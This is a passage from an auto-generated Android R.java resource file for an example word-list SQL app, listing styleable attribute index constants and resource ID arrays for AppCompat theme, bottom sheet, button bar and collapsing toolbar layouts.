attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:listPreferredItemPaddingLeft
*/
public static final int AppCompatTheme_listPreferredItemPaddingLeft = 73;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPreferredItemPaddingRight}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:listPreferredItemPaddingRight
*/
public static final int AppCompatTheme_listPreferredItemPaddingRight = 74;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#panelBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:panelBackground
*/
public static final int AppCompatTheme_panelBackground = 79;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#panelMenuListTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:panelMenuListTheme
*/
public static final int AppCompatTheme_panelMenuListTheme = 81;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#panelMenuListWidth}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:panelMenuListWidth
*/
public static final int AppCompatTheme_panelMenuListWidth = 80;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#popupMenuStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:popupMenuStyle
*/
public static final int AppCompatTheme_popupMenuStyle = 61;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#popupWindowStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:popupWindowStyle
*/
public static final int AppCompatTheme_popupWindowStyle = 62;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#radioButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:radioButtonStyle
*/
public static final int AppCompatTheme_radioButtonStyle = 107;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#ratingBarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:ratingBarStyle
*/
public static final int AppCompatTheme_ratingBarStyle = 108;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#ratingBarStyleIndicator}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:ratingBarStyleIndicator
*/
public static final int AppCompatTheme_ratingBarStyleIndicator = 109;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#ratingBarStyleSmall}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:ratingBarStyleSmall
*/
public static final int AppCompatTheme_ratingBarStyleSmall = 110;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#searchViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:searchViewStyle
*/
public static final int AppCompatTheme_searchViewStyle = 69;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#seekBarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:seekBarStyle
*/
public static final int AppCompatTheme_seekBarStyle = 111;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#selectableItemBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:selectableItemBackground
*/
public static final int AppCompatTheme_selectableItemBackground = 53;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#selectableItemBackgroundBorderless}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:selectableItemBackgroundBorderless
*/
public static final int AppCompatTheme_selectableItemBackgroundBorderless = 54;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#spinnerDropDownItemStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:spinnerDropDownItemStyle
*/
public static final int AppCompatTheme_spinnerDropDownItemStyle = 48;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#spinnerStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:spinnerStyle
*/
public static final int AppCompatTheme_spinnerStyle = 112;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#switchStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:switchStyle
*/
public static final int AppCompatTheme_switchStyle = 113;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceLargePopupMenu}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceLargePopupMenu
*/
public static final int AppCompatTheme_textAppearanceLargePopupMenu = 40;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceListItem}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceListItem
*/
public static final int AppCompatTheme_textAppearanceListItem = 77;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceListItemSmall}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceListItemSmall
*/
public static final int AppCompatTheme_textAppearanceListItemSmall = 78;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearancePopupMenuHeader}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearancePopupMenuHeader
*/
public static final int AppCompatTheme_textAppearancePopupMenuHeader = 42;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceSearchResultSubtitle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceSearchResultSubtitle
*/
public static final int AppCompatTheme_textAppearanceSearchResultSubtitle = 67;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceSearchResultTitle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceSearchResultTitle
*/
public static final int AppCompatTheme_textAppearanceSearchResultTitle = 66;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAppearanceSmallPopupMenu}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:textAppearanceSmallPopupMenu
*/
public static final int AppCompatTheme_textAppearanceSmallPopupMenu = 41;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textColorAlertDialogListItem}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:textColorAlertDialogListItem
*/
public static final int AppCompatTheme_textColorAlertDialogListItem = 97;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textColorSearchUrl}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:textColorSearchUrl
*/
public static final int AppCompatTheme_textColorSearchUrl = 68;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#toolbarNavigationButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:toolbarNavigationButtonStyle
*/
public static final int AppCompatTheme_toolbarNavigationButtonStyle = 60;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#toolbarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:toolbarStyle
*/
public static final int AppCompatTheme_toolbarStyle = 59;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowActionBar}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowActionBar
*/
public static final int AppCompatTheme_windowActionBar = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowActionBarOverlay}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowActionBarOverlay
*/
public static final int AppCompatTheme_windowActionBarOverlay = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowActionModeOverlay}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowActionModeOverlay
*/
public static final int AppCompatTheme_windowActionModeOverlay = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowFixedHeightMajor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowFixedHeightMajor
*/
public static final int AppCompatTheme_windowFixedHeightMajor = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowFixedHeightMinor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowFixedHeightMinor
*/
public static final int AppCompatTheme_windowFixedHeightMinor = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowFixedWidthMajor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowFixedWidthMajor
*/
public static final int AppCompatTheme_windowFixedWidthMajor = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowFixedWidthMinor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowFixedWidthMinor
*/
public static final int AppCompatTheme_windowFixedWidthMinor = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowMinWidthMajor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowMinWidthMajor
*/
public static final int AppCompatTheme_windowMinWidthMajor = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowMinWidthMinor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowMinWidthMinor
*/
public static final int AppCompatTheme_windowMinWidthMinor = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#windowNoTitle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:windowNoTitle
*/
public static final int AppCompatTheme_windowNoTitle = 3;
/** Attributes that can be used with a BottomSheetBehavior_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #BottomSheetBehavior_Layout_behavior_hideable com.android.example.wordlistsql:behavior_hideable}</code></td><td></td></tr>
<tr><td><code>{@link #BottomSheetBehavior_Layout_behavior_peekHeight com.android.example.wordlistsql:behavior_peekHeight}</code></td><td></td></tr>
<tr><td><code>{@link #BottomSheetBehavior_Layout_behavior_skipCollapsed com.android.example.wordlistsql:behavior_skipCollapsed}</code></td><td></td></tr>
</table>
@see #BottomSheetBehavior_Layout_behavior_hideable
@see #BottomSheetBehavior_Layout_behavior_peekHeight
@see #BottomSheetBehavior_Layout_behavior_skipCollapsed
*/
public static final int[] BottomSheetBehavior_Layout = {
0x7f0100a1, 0x7f0100a2, 0x7f0100a3
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#behavior_hideable}
attribute's value can be found in the {@link #BottomSheetBehavior_Layout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:behavior_hideable
*/
public static final int BottomSheetBehavior_Layout_behavior_hideable = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#behavior_peekHeight}
attribute's value can be found in the {@link #BottomSheetBehavior_Layout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:behavior_peekHeight
*/
public static final int BottomSheetBehavior_Layout_behavior_peekHeight = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#behavior_skipCollapsed}
attribute's value can be found in the {@link #BottomSheetBehavior_Layout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:behavior_skipCollapsed
*/
public static final int BottomSheetBehavior_Layout_behavior_skipCollapsed = 2;
/** Attributes that can be used with a ButtonBarLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ButtonBarLayout_allowStacking com.android.example.wordlistsql:allowStacking}</code></td><td></td></tr>
</table>
@see #ButtonBarLayout_allowStacking
*/
public static final int[] ButtonBarLayout = {
0x7f0100a4
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#allowStacking}
attribute's value can be found in the {@link #ButtonBarLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:allowStacking
*/
public static final int ButtonBarLayout_allowStacking = 0;
/** Attributes that can be used with a CollapsingToolbarLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_collapsedTitleGravity com.android.example.wordlistsql:collapsedTitleGravity}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_collapsedTitleTextAppearance com.android.example.wordlistsql:collapsedTitleTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_contentScrim com.android.example.wordlistsql:contentScrim}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleGravity com.android.example.wordlistsql:expandedTitleGravity}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleMargin com.android.example.wordlistsql:expandedTitleMargin}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleMarginBottom com.android.example.wordlistsql:expandedTitleMarginBottom}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleMarginEnd com.android.example.wordlistsql:expandedTitleMarginEnd}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleMarginStart com.android.example.wordlistsql:expandedTitleMarginStart}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleMarginTop com.android.example.wordlistsql:expandedTitleMarginTop}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_expandedTitleTextAppearance com.android.example.wordlistsql:expandedTitleTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_scrimAnimationDuration com.android.example.wordlistsql:scrimAnimationDuration}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_scrimVisibleHeightTrigger com.android.example.wordlistsql:scrimVisibleHeightTrigger}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_statusBarScrim com.android.example.wordlistsql:statusBarScrim}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_title com.android.example.wordlistsql:title}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_titleEnabled com.android.example.wordlistsql:titleEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #CollapsingToolbarLayout_toolbarId com.android.example.wordlistsql:toolbarId}</code></td><td></td></tr>
</table>
@see #CollapsingToolbarLayout_collapsedTitleGravity
@see #CollapsingToolbarLayout_collapsedTitleTextAppearance
@see #CollapsingToolbarLayout_contentScrim
@see #CollapsingToolbarLayout_expandedTitleGravity
@see #CollapsingToolbarLayout_expandedTitleMargin
@see #CollapsingToolbarLayout_expandedTitleMarginBottom
@see #CollapsingToolbarLayout_expandedTitleMarginEnd
@see #CollapsingToolbarLayout_expandedTitleMarginStart
@see #CollapsingToolbarLayout_expandedTitleMarginTop
@see #CollapsingToolbarLayout_expandedTitleTextAppearance
@see #CollapsingToolbarLayout_scrimAnimationDuration
@see #CollapsingToolbarLayout_scrimVisibleHeightTrigger
@see #CollapsingToolbarLayout_statusBarScrim
@see #CollapsingToolbarLayout_title
@see #CollapsingToolbarLayout_titleEnabled
@see #CollapsingToolbarLayout_toolbarId
*/
public static final int[] CollapsingToolbarLayout = {
0x7f010003, 0x7f0100a5, 0x7f0100a6, 0x7f0100a7,
0x7f0100a8, 0x7f0100a9, 0x7f0100aa, 0x7f0100ab,
0x7f0100ac, 0x7f0100ad, 0x7f0100ae, 0x7f0100af,
0x7f0100b0, 0x7f0100b1, 0x7f0100b2, 0x7f0100b3
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#collapsedTitleGravity}
attribute's value can be found in the {@link #CollapsingToolbarLayout} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:collapsedTitleGravity
*/
